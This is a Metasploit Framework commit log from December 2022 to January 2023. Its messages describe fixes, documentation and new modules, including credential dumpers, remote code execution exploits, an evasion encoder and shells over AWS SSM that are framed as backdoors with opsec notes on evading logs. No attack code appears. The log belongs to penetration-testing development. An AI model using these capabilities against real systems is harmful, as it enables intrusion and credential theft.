Fix exception handler logic and small improvements
2023-01-12 07:38:09 +08:00
adfoster-r7 a484350fdf Land #17455, Fix Chunked Kerberos Responses 2023-01-11 22:09:06 +00:00
Spencer McIntyre 2f145769da Actually, offered_etypes needs to be an array 2023-01-11 17:08:27 -05:00
Hamilton Tobon Mosquera fd7fbb76af fix: cmd_run: remove unnecessary map
Removing the call to .map over args[:datastore_options] avoids an unnecessary call to Msf::DataStore#import_options_from_s. args[:datastore_options] is already a hash, converting it to string and using Msf::DataStore#import_options_from_s converts it back to hash, which is not necessary. The Msf::Simple::Module mixin already offers support for Options, which is expected to be a hash.

This change also prevents sending corner case option strings to Msf::DataStore#import_options_from_s when using post modules, which does not support strings like: "COMMAND='date --date=2023-01-01'".
2023-01-11 16:54:13 -05:00
Hamilton Tobon Mosquera 03acb7e9f2 test: added rspec tests for 6074d1a4d3 2023-01-11 15:46:55 -05:00
Christophe De La Fuente f9b1c17c39 Fix exception handler logic and small improvements 2023-01-11 20:00:09 +01:00
Spencer McIntyre a4a5162b92 Remove the etype option in favor of offered_etypes 2023-01-11 10:17:52 -05:00
Metasploit 61ffb90954 automatic module_metadata_base.json update 2023-01-11 09:01:02 -06:00
Christophe De La Fuente ada6e73af6 Land #17341, MinIO_Client Post Exploitation Credential Gatherer 2023-01-11 15:36:23 +01:00
Christophe De La Fuente 43051a2811 Add missing curly bracket 2023-01-11 14:30:23 +01:00
cn-kali-team 6738ca2c43 Support multiple platforms 2023-01-11 18:04:29 +08:00
adfoster-r7 6f7d7bcd1c Land #17394, Add ticket converter docs 2023-01-11 02:11:59 +00:00
三米前有蕉皮 ce83086c00 Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:31:42 +08:00
三米前有蕉皮 633d807dbc Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:29:13 +08:00
三米前有蕉皮 e00a86b6d6 Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:28:26 +08:00
三米前有蕉皮 3dd794a97f Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:27:48 +08:00
三米前有蕉皮 8b6387867d Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:27:08 +08:00
npm-cesium137-io 243c57c1fe Add whatsupgold_credential_dump post module
Add a post module for credential extraction from WhatsUp Gold instances
on Windows hosts. The module should theoretically decrypt ciphertext
from any version of WhatsUp Gold, although it has only been verified
working on WhatsUp Gold versions 11.0 through 22.0.
2023-01-10 15:50:53 -05:00
adfoster-r7 760f5198ac Add additional metasploit rpc documentation 2023-01-10 20:43:11 +00:00
Grant Willcox 87b1f3b602 Land #17386, Ignore Content-Length header for the purpose of HEAD requests 2023-01-10 11:00:59 -06:00
Jeffrey Martin a0738aaa02 Land #17447, Bump up pry related gems post 2.6 2023-01-10 10:40:32 -06:00
Grant Willcox 8b102afd71 Rubocop fixes and some documentation additions 2023-01-10 10:07:51 -06:00
Jack Heysel a61ecd6e40 Moved to wiki, added hashcat tutorial 2023-01-10 10:57:28 -05:00
cgranleese-r7 281020379c Adds docs for RPC workflows to docs site 2023-01-10 10:31:24 +00:00
cn-kali-team 6ef38e305f Support multiple platforms 2023-01-10 15:01:55 +08:00
三米前有蕉皮 5845c7cb1f Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:22:50 +08:00
三米前有蕉皮 ba5b100fe5 Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:20:32 +08:00
三米前有蕉皮 a14af52146 Update documentation/modules/post/windows/gather/credentials/minio_client.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:19:58 +08:00
三米前有蕉皮 b72bfec033 Update documentation/modules/post/windows/gather/credentials/minio_client.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:17:40 +08:00
Ashley Donaldson f8b253dae1 Fix state machine for HEAD requests 2023-01-10 10:57:13 +11:00
Spencer McIntyre 138f3bb4b2 Make the encryption type configurable 2023-01-09 17:20:57 -05:00
Spencer McIntyre b7f6fe584a Add initial lib changes for configurable etypes 2023-01-09 16:43:42 -05:00
npm-cesium137-io 499d1ccfd7 Refactor veeam_credential_dump
Changed the SQL queries for DB dump to explicit VARCHAR(4096) to get
around sqlcmd's 256-char column limit.

Refactored the BATCH_DPAPI functionality because I can't seem to let
this pattern go: now actually batches with byte threshold set by
advanced option.

Reduced clutter and redundancy.

Various tweaks and bug fixes.

Updated documentation.
2023-01-09 16:31:44 -05:00
Steve E 990d5ccfad Action linter warnings in changes 2023-01-09 21:17:22 +00:00
Steve Embling 16c176dbe0 Accept protocol option change to optenum from optstring
Co-authored-by: bcoles <bcoles@gmail.com>
2023-01-10 12:54:28 +00:00
Steve Embling a368f76a2a Update weblogic_deserialize_badattrval.rb 2023-01-10 10:47:31 +00:00
Krzysztof Burghardt ca0a57124b Add qubes_mirage_firewall_dos module documentation 2023-01-09 13:27:35 -06:00
Krzysztof Burghardt 551edbe0d1 Review and lint fixes 2023-01-09 13:27:35 -06:00
Krzysztof Burghardt a1ee09d544 New exploit for CVE-2022-46770 Mirage firewall DoS 2023-01-09 13:27:35 -06:00
Steve E 60bfa329fa Add t3s protocol support to weblogic_deserialize_badattrval 2023-01-09 18:47:43 +00:00
Metasploit 3beb3d775f automatic module_metadata_base.json update 2023-01-09 11:49:22 -06:00
Grant Willcox f6f3dd1af0 Land #17454, fix #17436: scanner/smb/smb_enumshares truncates file names 2023-01-09 11:23:50 -06:00
Grant Willcox f8ce1219e1 Remove extra line 2023-01-09 11:23:26 -06:00
Wrathdemon 2df3920432 fix #17436: truncated file names in the logged data in module auxiliary/scanner/smb/smb_enumshares 2023-01-09 22:11:25 +05:30
Spencer McIntyre 2494c367e7 Handle chunked Kerberos responses
Chunked responses from partial reads are possible when pivoting.
2023-01-09 11:24:53 -05:00
Grant Willcox fd61e31cd3 Bump up additional Gems and bump Pry to support recent versions of Ruby 2023-01-09 09:54:41 -06:00
Wrathdemon ade00718c6 fix #17436: truncated file names in the logged data in module auxiliary/scanner/smb/smb_enumshares 2023-01-09 19:32:37 +05:30
h00die 0c418d05e8 jtr cracking of netntlm 2023-01-08 16:54:36 -05:00
h00die 8e1c29f444 jtr cracking of netntlm 2023-01-08 15:31:47 -05:00
h00die 0c3026c201 crack netntlm* 2023-01-08 14:32:04 -05:00
h00die 4c6c8fcf8b crack netntlm* 2023-01-08 14:29:21 -05:00
Grant Willcox ebdfabf35d Bump up pry related gems post 2.6 lock removal 2023-01-06 16:53:04 -06:00
Grant Willcox d076b9c7ab Merge pull request #17166 from k0pak4/improve-golden-ticket-module
Improve golden ticket module with hash check and better loot storage
2023-01-06 16:39:29 -06:00
Matthew Dunn 8f302c8697 Complete requested PR changes
Clone the cc_principle
2023-01-06 14:48:53 -06:00
Grant Willcox 3d9ea4492f Fix up extra blank lines and make ticket type being saved clearer 2023-01-06 14:48:53 -06:00
Matthew Dunn d64c4b6e7e Store the binary format of the ccache
update key to be correct
2023-01-06 14:48:53 -06:00
Matthew Dunn ccfc253eb8 Updates to get ccache in golden ticket
Fix incorrect reference
Use proper encoding
2023-01-06 14:48:52 -06:00
Matthew Dunn ff029842ce Verify NT hash and store golden ticket as kirbi and ccache 2023-01-06 14:48:38 -06:00
Jeffrey Martin 07231a6a8e Land #17425, Weekly dependency updates for Gemfile.lock 2023-01-06 13:05:21 -06:00
Grant Willcox 9dce44f195 Merge pull request #17390 from dwelch-r7/move-debug-ticket-to-new_module
Move debug ticket to new module
2023-01-06 11:35:18 -06:00
Grant Willcox d69564f3df Minor update to merge output and example together. 2023-01-06 10:15:16 -06:00
Jeffrey Martin bd1a6d44f2 Land #17441, Remove lock on Pry version 2023-01-06 09:52:16 -06:00
Grant Willcox 0be28f64b4 Merge pull request #17443 from dwelch-r7/Fix-ldap-failure-constants
Use the correct constant names for ldap failures
2023-01-06 09:19:28 -06:00
Hamilton Tobon Mosquera 6074d1a4d3 fix: parse COMMAND with nested '=' in meterpreter
Fixes bug #16578
2023-01-06 09:27:25 -05:00
Dean Welch 8078616f5f Use the correct constant names for ldap failures 2023-01-06 14:11:26 +00:00
Spencer McIntyre 138e0c697b Land #17427, YARD Document LDAP Libraries 2023-01-06 08:57:31 -05:00
dwelch-r7 75372dcdd3 Land #17374, Add klist command 2023-01-06 12:57:20 +00:00
cn-kali-team 4a1c75ae73 dbeaver_store_config 2023-01-06 14:55:49 +08:00
Grant Willcox 0ae5aea9e8 Remove lock on Pry version since Ruby 2.6 is no longer supported by Metasploit and so this no longer applies 2023-01-05 18:55:39 -06:00
Grant Willcox e03fd42a29 Update to fix some warnings in YARD, fix review comments, and also replace @see with proper links for easier navigation 2023-01-05 17:44:24 -06:00
Grant Willcox 0af0f6ea0a Merge pull request #17440 from zeroSteiner/fix/smb-aes-256-kerberos
Fix SMB key calculation for AES-256 when authenticating with Kerberos
2023-01-05 17:05:28 -06:00
Metasploit 0a826323f7 automatic module_metadata_base.json update 2023-01-05 16:01:11 -06:00
Spencer McIntyre 1f938781d9 Land #17438, exchange_proxylogon_collector bugfix
exchange_proxylogon_collector bugfix: prevent empty on nil by changing empty to blank
2023-01-05 16:24:58 -05:00
Metasploit 131d982cd2 automatic module_metadata_base.json update 2023-01-05 14:49:58 -06:00
Grant Willcox 98b3b29cc2 Land #17439, Removing Rex::ConnectionError exception handler from module template 2023-01-05 14:24:58 -06:00
Spencer McIntyre 785c5a8f4d Fix key calculation for Server 2022
Metasploit will negotiate the strongest mutually supported encryption
with the target. When the target supports AES-256 as Server 2022 and
Windows 11 do, the key needs to be 32-bytes long and not 16 as it is
when AES-128 is in use. This updates the logic to check if the
encryption algorithm is set to ensure that the key is the correct size.
2023-01-05 15:08:49 -05:00
Christophe De La Fuente 1ede6661d4 Land #17382, Update pkinit tgt response to include key 2023-01-05 20:45:20 +01:00
Christophe De La Fuente 25f4c023b4 Removing Rex::ConnectionError exception handler 2023-01-05 20:26:11 +01:00
Grant Willcox 9585677d2c Update Gemfile.lock with latest changes 2023-01-05 12:30:08 -06:00
Metasploit 1b093b6e17 Bump version of framework to 6.2.35 2023-01-05 12:10:17 -06:00
Spencer McIntyre e555f3c28f Land #17384, Add missing entries to LICENSE
Update license file for all GPL I could find
2023-01-05 12:51:13 -05:00
Spencer McIntyre 964dbacb0f Tweak whitespace in the LICENSE file
Tweak whitespace in the LICENSE file to wrap at 80 chars (when able to)
and to consistently use line breaks and alignment.
2023-01-05 12:50:40 -05:00
Grant Willcox 725f83601f Land #17435, Restore raw_send_recv for module using SMTP mixin 2023-01-05 11:29:53 -06:00
Dean Welch 2de3477eb0 Add msfconsole examples 2023-01-05 17:02:23 +00:00
Grant Willcox e218210feb Update ldap_connect documentation to set Object as the return type 2023-01-05 10:51:18 -06:00
bwatters 9ecf27a490 Rebase with Master and fix rebasing issues.... 2023-01-05 09:48:17 -06:00
Grant Willcox 2cc43fa4ac Land #17428, Update .mailmap 2023-01-05 09:38:23 -06:00
Grant Willcox 4dd3e43f01 Remove wvu from list at his request, and move past contributors to appropriate section 2023-01-05 09:13:51 -06:00
Dean Welch a18efb7882 Improve description and error messages 2023-01-05 14:24:08 +00:00
cn-kali-team 5eae5068cc update 2023-01-05 20:56:06 +08:00
ErikWynter f222bccf6c prevent empty on nil by changing empty to blank 2023-01-05 10:38:09 +02:00
Metasploit 9d866a3784 automatic module_metadata_base.json update 2023-01-04 18:32:27 -06:00
Grant Willcox ddc3435818 Land #17312, Pre-Authenticated Remote Code Execution in Nortek Linear eMerge Access Controller (CVE-2019-7256) 2023-01-04 18:08:04 -06:00
Grant Willcox f39973de86 Fix up missing option in documentation and also add some additional validation on server response. 2023-01-04 17:02:05 -06:00
h00die-gr3y 11b95b2094 added additional response check 2023-01-04 17:02:04 -06:00
h00die-gr3y c7b59b4815 updates based on gwillcox-r7 review comments 2023-01-04 17:02:04 -06:00
h00die-gr3y 6801cbd21e updated Limitation section 2023-01-04 17:02:03 -06:00
h00die-gr3y f9ecaa92ae updated references section 2023-01-04 17:02:03 -06:00
h00die-gr3y fc6acdab6a added documentation 2023-01-04 17:01:59 -06:00
h00die-gr3y 4db15346e1 init commit module 2023-01-04 17:01:58 -06:00
Jeffrey Martin 6b5948a69d restore raw_send_recv for module using SMTP mixin
changes in #16153 adjusted modules that were not utilizing
`Exploit::Remote::SMTPDeliver` in error restore calls to `raw_send_recv`
that is no longer shadowed by in `SMTPDeliver`.
2023-01-04 14:45:58 -06:00
Grant Willcox e99c406355 Merge pull request #17434 from dwelch-r7/fix-typo-keytab-docs
Fix keytab docs typo
2023-01-04 11:13:44 -06:00
Grant Willcox c71ba23a10 Fix up incorrectly indented documentation, remove excess lines, and add in correct type return information from debugging sessions 2023-01-04 11:09:23 -06:00
Arthur RAOUT d83c2c3a5d Remove useless loop that select reg1, because we now have push/pop all regs to preserve them 2023-01-04 17:40:22 +01:00
Arthur RAOUT 676fda73b1 Remove useless loop that select reg1, because we now have push/pop all regs to preserve them 2023-01-04 17:39:59 +01:00
Arthur RAOUT 7494318ec4 Fix offset from entrypoint 2023-01-04 17:36:55 +01:00
Arthur RAOUT 93f579b180 Fixed shuffling of registers with generate preserve reg function 2023-01-04 17:33:24 +01:00
Arthur RAOUT 0a99e2be6a Fixed 3 offense rubocop/msftidy 2023-01-04 17:25:25 +01:00
Arthur RAOUT bdf5f8fbe4 Added preserver register through random order push and pop of the registers, change name to xor_poly.rb 2023-01-04 17:21:48 +01:00
Professor Araout 7cd68e8f06 Merge branch 'rapid7:master' into New_x86_xor_encoder 2023-01-04 17:04:30 +01:00
Dean Welch cb95d92201 Fix keytab docs typo 2023-01-04 15:39:59 +00:00
RageLtMan 60c2f0a480 SSM enumeration module filter and throttle
Expand SSM enumeration module docs to explain full functionality.
Enable the LIMIT configuration option to restricte results per
region.
Implement FILTER_EC2_ID configuration option to permit targeting
of a specific instance for session initiation.

Testing:
  Finds limtied sets of systems and initiates sessions
  Finds desired system ID and initiates session
2023-01-03 22:00:14 -05:00
RageLtMan 955fb2ef3e SSM WebSocket session keep-alive
The SSM session socket times out without data being sent at the
upper (SSM) WS layer. Implement keep-alive in a separate thread
which simply writes nothing into the channel at irregular intervals
to simulate user activity.

Testing:
  Sessions established with this code running have not timed-out
in over 15m despite being completely unused
2023-01-03 21:20:07 -05:00
RageLtMan eba4c4b047 Spoonfeed the skiddies: auto-sessions for SSM enum
Enable session acquisition from AWS SSM enumeration module simiar
to how the telnet login scanner acquires sessions on the sockets
exposed.

Testing
  Tested execution - finds systems, gets shells, autopwn-capable
2023-01-03 20:40:30 -05:00
RageLtMan 7666b30b82 Rudimentary enumeration module for EC2+SSM
Coopt Aaron Soto's EC2 enum module & replace the guts with an SSM
query for not-terminated EC2 instances with SSM capability. This
will proide users with the instance IDs needed to test their SSM
shells and can be expanded to report information or even act as a
"brute-force" module which automatically starts SSM sessions.

Testing:
  None - might eat your monitor lizard
2023-01-03 17:09:55 -05:00
RageLtMan 46c030a08b Finalize SSM Shell via WebSocket
Implement terminal resizing to WebSocket shell
Reorganize code to ease later extension
Implement peerinfo in channel context from AWS EC2 SSM information
gathered during session validation
Implement echo-filtering for session inputs (hacky, but works)

Testing:
  Verified console resizing, color/reset/etc
  Verified peerinfo and interaction
  Verified common session operations

Notes:
  SSM WebSocket sessions time out pretty quickly, implementing
dedicated SSM session types which support suspend/resume to match
backgrounding/foregrounding operations in the console should help
to resolve this. Alternatively, a keep-alive using empty frames
may be implemented in the SsmChannel itself on a separate thread.
2023-01-03 15:10:31 -05:00
Christophe De La Fuente 868072e6c8 Land #17317, Fix various WinRM modules 2023-01-03 19:57:07 +01:00
Christophe De La Fuente 9f869f5a11 Add a call to super in run 2023-01-03 19:54:06 +01:00
RageLtMan 43d746c404 Implement SSM WebSocket Sessions
Alter WebSocket::Interface::Channel to accept a mask_write flag to
set the Channel behavior for outgoing data (since the on_data_write
handler can only deal with the buffer provided, not how the wsframe
containing it is written to the "wire"). Set the flag to false for
SSM's WebSocket operations.

Extract Rex::Proto::Http::WebSocket::AmazonSsm from the handler to
permit reuse by other framework elements.

Implement SSM-specific UUID handling.
Create sane SsmFrame constructor to permit convenient operations.

Implement Http::WebSocket::AmazonSsm::Inteface::SsmChannel from
Http::WebSocket::Inferface::Channel with message-type handling and
output processing. Acknowledge incoming messages, process incoming
acknowledgements, increment sequence IDs appropriately, and handle
basic logging.

This new session type removes the 2500 char output restriction and
stateless peer cwd.

Testing:
  Execution of handler now provides stateful interactive shells

Next steps:
  More testing, preferably by other people with upstream framework.
  Peerinfo and presentation updates for the session channel
  Misc cleanup

Future work:
  Implement new SSM session type with support for multi-console,
port-forwarding/socket routing, and custom SSM documents.
  Implement FSM handlers for session suspension and resumption in
Http::WebSocket::AmazonSsm::Interface::SsmChannel
2023-01-03 09:34:14 -05:00
Ashley Donaldson 45c0af48c2 Suggested changes from code review 2023-01-03 11:26:07 +11:00
Ashley Donaldson b05db8b82d Keep signature of the read_response function as it was before, and add the original request as an opt 2023-01-03 09:46:43 +11:00
RageLtMan c733dbc906 Start processing AWS SSM WebSocket session frames
Create BinData structure to handle the proprietary format of AWS'
SSM WebSocket protocol. Implement relevant inter-field dependencies
and a virtual payload_valid field to handle the SHA256 digest check
for the current state of r the payload_data field.

Implement user-accessible SSM document definition to permit use of
custom-defined command and session documents (stubbing for session
types such as port-forwarding) which may be of use when dealing
with restrictive IAM.

Restructure handler in preparation for moving the WebSocket code
into Rex::Proto for use by other consumers such as custom payloads
and session types like fully interactive (vs REPL) modalities, or
some form of "cloud-native" MeterSSM.

Testing:
  Verified acquisition of SSM WS frame and relevant field ops

Next Steps:
  Create WS loop to abstract shell communications
  Wrap in Rex*Abstraction bowties for the session handler
  Test -> ? -> Profit
2023-01-01 11:21:32 -05:00
RageLtMan cfc24f138a Implement SSM WebSocket init/auth
Using the implementation in https://github.com/humanmade/ssm, use
the onconnect websocket authenticator as a JSON string written as
a wstext Frame into the established WebSocket. This keeps the sock
open with AWS after returning it from the method, but subsequent
operations will require definition and encoding/decoding of SSM's
proprietary data structures.

Testing:
  The initialized WebSocket is kept open and returns wsframes when
requested.

Next steps:
  Port the various data structures from the JavaScript library
  Implement encoding & decoding for their wire-level formats
  Implement state management and data flow handling logic for
the WS SSM protocol.
2022-12-31 20:46:19 -05:00
RageLtMan 9850534d55 Initial WebSocket connection wrapper
Port WebSocket initiation routine from Exploit::Remote::HttpClient.
Currently inert since it appears to require a handshake procedure
along with its own type of data frame.

Implement graceful fail-down for session establishment which tries
to initiate a WebSocket session for proper functionality, failing
down to the script-execution style session abstraction if the WS
session does not marshal properly. Use this exception handling to
deal with the WIP WS session state.

Testing:
  Gets the same kind of command-abstracted session as before
  Interface-extended socket returns garbage from naive #write and
nothing from put_string or put_binary - not going to get anything
out of this thing until we establish the handshake procedure.

Next steps:
  Figure out data frame structures for handshake and console IO
  Implement handshake on-init, validate state
  Implement IO abstraction for the resulting Channel for handoff
to #handle_connection
2022-12-31 19:05:06 -05:00
RageLtMan 3624bee263 Initial implementation for AWS SSM shells
Amazon Web Services provides conveniently privileged backdoors in
the form of their SSM agents which do not require connectivity with
the target instance, merely valid credentials to AWS' API. Due to
this indirect "connection" paradigm, this mechanism can be used to
control otherwise "air-gapped" targets.

This approach abstracts asynchronous request/response parsing for
SSM requests into an IO channel with which the AWS SSM client is
then wrapped to emulate the expected Stream. The mechanism is rather
raw and could use better error handling, retries on laggy output,
and a threadsafe cursor implementation. It may be possible to start
an actually interactive session using the #start_session method in
the AWS client library, but so far testing has not yielded positive
results.

There is a significant limitation with these sessions not present
in normal stream-wise abstractions: a response limit of 2500 chars.
This limitation can be overcome by utilizing an S3 bucket to store
command output; however, due to the nature of access we seek to
obtain, it would not only add to the logged event loads but retain
the results of our TTPs in a "buffer" accessible to other people.
This functionality can be added down the line in the form of S3
config options in the handler to be passed into the SSM client for
command execution and acquisition of output.

Testing:
  Gets sessions, provides command IO, leaves a bunch of log entries
in CloudTrail (something to keep in mind for opsec considerations).

Next steps:
  Reorganize our WebSocket code a bit to provide connection and WS
state management inside Rex::Proto::Http::Client which can then be
exposed to the Handler without having to mix-in other namespaces
from Exploit.
  Use the #start_session SSM Client method to extract the WS URL
for the relevant channel, and utilize that as the underpinning for
our session comms.
2022-12-31 15:04:27 -05:00
wvu 852de5166e Update .mailmap 2022-12-30 17:03:19 -06:00
Grant Willcox bfb80db9db Add in missing YARD documentation for lib/msf/core/exploit/remote/ldap.rb 2022-12-30 16:07:08 -06:00
Grant Willcox 86d4129edb Add in missing YARD documentation for lib/rex/proto/ldap.rb 2022-12-30 13:41:33 -06:00
adfoster-r7 a8957bce49 Update tgt response to include key 2022-12-30 13:41:54 +00:00
Grant Willcox e9f86ce6e8 Merge pull request #17421 from adfoster-r7/merge-6.2.33-master-into-kerberos-feature-branch
Merge 6.2.33 master into kerberos feature branch
2022-12-29 22:48:14 -06:00
Grant Willcox 8c25786023 Undo bundler version bump 2022-12-29 15:43:31 -06:00
Grant Willcox 0e2b0fd421 Weekly gem bump 2022-12-29 15:39:52 -06:00
Metasploit cb682973f7 Bump version of framework to 6.2.34 2022-12-29 12:03:41 -06:00
Jack Heysel 5a8d330f80 Msftidy fixes 2022-12-28 17:11:55 -05:00
Jack Heysel 8f277abbf2 Add kerberoasting documentation 2022-12-28 16:55:57 -05:00
Jack Heysel a8697cdffc Land #17409, rhost walker handle interupt signal 2022-12-28 14:46:13 -05:00
timwr ce260f53f3 Add CVE-2022-46689 macOS dirty cow 2022-12-28 22:46:08 +07:00
adfoster-r7 95d361754f Merge branch 'upstream-master' into merge-6.2.33-master-into-kerberos-feature-branch 2022-12-28 13:59:42 +00:00
Metasploit 28230c6335 automatic module_metadata_base.json update 2022-12-27 20:48:57 -06:00
Grant Willcox 7b25c753d6 Land #17416, Use .blank? instead of .empty? when handling SSH Key details to prevent crashes 2022-12-27 20:24:54 -06:00
Joshua Rogers 615bba3d31 Update jenkins_gather.rb
blank? should be used instead of empty?
2022-12-27 19:31:49 -06:00
Grant Willcox 8678bb9db6 Land #17380, Update User Agent strings December 2022 2022-12-27 18:18:24 -06:00
Grant Willcox a49e8c7afb Merge pull request #17405 from adfoster-r7/update-smb-enumshares-to-gracefully-fallover-from-139-to-445
Update smb enumshares to gracefully failover from port 139 to 445
2022-12-27 15:42:01 -06:00
bwatters 04f2db6376 Land #17419, Fix GitHub Actions Verify Action Using Wrong Version of Ruby for 3.0.x Tests
Merge branch 'land-17419' into upstream-master
2022-12-27 15:15:14 -06:00
Grant Willcox 9e31190dce Land #17414, Fix typo: Replace patten with pattern 2022-12-27 13:50:42 -06:00
Grant Willcox 6057047384 fix: 🐛 Add quotes around Ruby version strings
This fixes issues where Ruby would interpret version strings as floats,
which could lead to casting errors. An example of this was when 3.0 would be interpreted
as the number 3, so instead of getting the latest Ruby 3.0.X release,
you would instead get the latest Ruby 3 release.
2022-12-27 12:27:54 -06:00
Dnidof c117040705 Fix typo: Replace patten with pattern
Update How-to-Apply-to-GSoC.md
2022-12-26 16:37:59 +01:00
Metasploit a526604bb3 automatic module_metadata_base.json update 2022-12-23 08:46:09 -06:00
adfoster-r7 7e1c3bc1bf Update rhost walker to handle interrupt signal 2022-12-23 13:26:27 +00:00
Christophe De La Fuente 20d70799a7 Land #17298, Add opentsdb_yrange_cmd_injection module and docs 2022-12-23 13:38:58 +01:00
Christophe De La Fuente 83b11a69a8 Make rubocop happy 2022-12-23 13:38:16 +01:00
ErikWynter 7fa557805e add final code review suggestions 2022-12-23 11:29:29 +02:00
ErikWynter 8f96746551 fix typo and add credit for discovery 2022-12-23 11:11:31 +02:00
Metasploit c0597fe1da Bump version of framework to 6.2.33 2022-12-22 12:09:43 -06:00
ErikWynter 4c2dfe0279 add cacti_unauthenticated_cmd_injection 2022-12-22 17:55:45 +02:00
Metasploit f8040754e1 automatic module_metadata_base.json update 2022-12-21 15:54:27 -06:00
Jack Heysel 63583af153 Land #17389, Log4shell_header_injection bug fix
prevent .keys call on nil
2022-12-21 16:26:55 -05:00
npm-cesium137-io 9cc8d41388 veeam_credential_dump post module revisions
Cleanup for initial PR.
2022-12-21 15:53:46 -05:00
adfoster-r7 9d725b1e67 Update smb enumshares to gracefully failover from 139 to 445 2022-12-21 20:23:01 +00:00
Metasploit 15357e2289 automatic module_metadata_base.json update 2022-12-21 08:07:09 -06:00
Christophe De La Fuente 6758c8313f Land #17258, Update sharphound 2022-12-21 14:04:09 +01:00
Metasploit 32f26378ad automatic module_metadata_base.json update 2022-12-20 17:16:03 -06:00
adfoster-r7 a6605d36a3 Land #17334, enum_commands: Cleanup 2022-12-20 22:52:00 +00:00
Professor Araout dcec717a9b Merge branch 'rapid7:master' into New_x86_xor_encoder 2022-12-20 22:25:29 +01:00
Professor Araout 0a53cab369 Update xor.rb
Remove outdated comments
2022-12-20 17:03:50 +01:00
Metasploit ed832f1a47 automatic module_metadata_base.json update 2022-12-20 09:24:38 -06:00
Arthur RAOUT 45d0eb8bb4 Add encoder module x86/xor at path modules/encoder/x86/xor.rb, Rubocop clean, msftidy clean, No documentation written 2022-12-20 15:54:01 +01:00
Christophe De La Fuente fa5e4df3f5 Land #17278, Add solarwinds_orion_dump post module 2022-12-20 15:42:25 +01:00
npm-cesium137-io e3c6aa7820 solarwinds_orion_dump attribution update
Updated original research attribution to align with reality.
2022-12-20 08:55:19 -05:00
bcoles 78906a8217 enum_commands: Cleanup 2022-12-20 23:42:51 +11:00
npm-cesium137-io 03ca00e6e6 solarwinds_orion_dump refine CSV input handling
Improved CSV input error handling and various minor bug fixes.
2022-12-19 11:39:44 -05:00
bwatters 6b0805dc11 Update cmdstager docs 2022-12-16 15:55:30 -06:00
Grant Willcox b01720dcba Merge pull request #17397 from zeroSteiner/fix/pkinit-nameerror
Fix a NameError in pkinit_login
2022-12-16 15:28:45 -06:00
Spencer McIntyre b2edf1108a Fix a NameError in pkinit_login 2022-12-16 14:54:46 -05:00
Dean Welch 4e1e85f8ad Add ticket converter docs 2022-12-16 13:53:05 +00:00
adfoster-r7 6f9ebe4068 Add klist command 2022-12-16 13:02:39 +00:00
adfoster-r7 20496aadc2 Land #17377, Consolidate Kerberos Ticket Storage 2022-12-16 01:35:36 +00:00
Ashley Donaldson 5c2640178c Suggested changes from code review 2022-12-16 10:36:26 +11:00
Spencer McIntyre 60a76da374 Allow deleting tickets by ID 2022-12-15 18:31:18 -05:00
Spencer McIntyre 75fc560d19 Handle cases where the framework module is nil 2022-12-15 18:31:18 -05:00
Spencer McIntyre 830e850160 Add more docs 2022-12-15 18:31:18 -05:00
Spencer McIntyre 663dee982e Expose an abstract stored ticket object 2022-12-15 18:31:18 -05:00
Spencer McIntyre fea259f6e7 Switch everything to use the ticket storage 2022-12-15 18:31:14 -05:00
Spencer McIntyre b2a4bea761 Breakout the ticket storage backend drivers 2022-12-15 18:29:00 -05:00
Spencer McIntyre 686b946c5b Use a new TicketStorage class
The goal is to provide an abstraction for how Kerberos tickets are
persisted to disk.
2022-12-15 18:28:54 -05:00
Spencer McIntyre 5f52ebeea7 Consolidate the loot_info UID string 2022-12-15 18:26:32 -05:00
Ron Bowes 2ec77e6d95 Merge branch 'master' into f5-createuser-privesc 2022-12-15 13:11:26 -08:00
Steffen Robertz cc5c405941 Unauthenticated RCE for multiple Zyxel Router changes 2022-12-15 21:44:57 +01:00
Jack Heysel 3204caf618 Make use of session platform 2022-12-15 14:28:19 -05:00
Jack Heysel 87614cf2b3 Fixed spacing updated check method 2022-12-15 14:15:06 -05:00
Grant Willcox 37fe3b909a Land #17931, Bump IRB version to 1.6.1
Bring in changes mentioned at https://st0012.dev/whats-new-in-ruby-3-2-irb
2022-12-15 12:41:52 -06:00
Metasploit f4a9090128 Bump version of framework to 6.2.32 2022-12-15 12:11:11 -06:00
Grant Willcox 0ab2d6020e Bump IRB version to bring in changes mentioned at https://st0012.dev/whats-new-in-ruby-3-2-irb 2022-12-15 11:00:23 -06:00
Grant Willcox 159a4bc218 Land #17387, Expand ~ for hosts and notes commands 2022-12-15 10:47:01 -06:00
Christophe De La Fuente 6e09236c97 Land #17381, Update rasn1 dependency for pkinit 2022-12-15 17:38:49 +01:00
Grant Willcox c0c8f955a8 Land #17366, Fix Shell Upload Download Command For Directory Destinations 2022-12-15 09:42:02 -06:00
Spencer McIntyre d1f5fa06cf Don't use File in cmd_upload / cmd_download
It does not look like shell sessions define their own File class,
meaning that the local-platform specific one is always used. Instead
we'll define the separator ourselves since it's all we need to perform
the basic operations necessary to analyze the path string.
2022-12-15 10:05:02 -05:00
bwatters 3eb86b92e1 Land #17191, Fix bug in linux reverse_tcp_x64 when running on WSL
Merge branch 'land-17191' into upstream-master
2022-12-15 09:02:57 -06:00
Dean Welch cf332a2b20 Move DEBUG_TICKET action from forge ticket to it's own module inspect_ticket 2022-12-15 13:42:30 +00:00
ErikWynter 3c219c8a77 prevent .keys call on nil in log4shell_header_injection 2022-12-15 12:51:30 +02:00
Steffen Robertz 1b690283db Unauthenticated RCE for multiple Zyxel Router 2022-12-15 11:50:48 +01:00
Ashley Donaldson 28bd03f971 Apply suggestions from code review
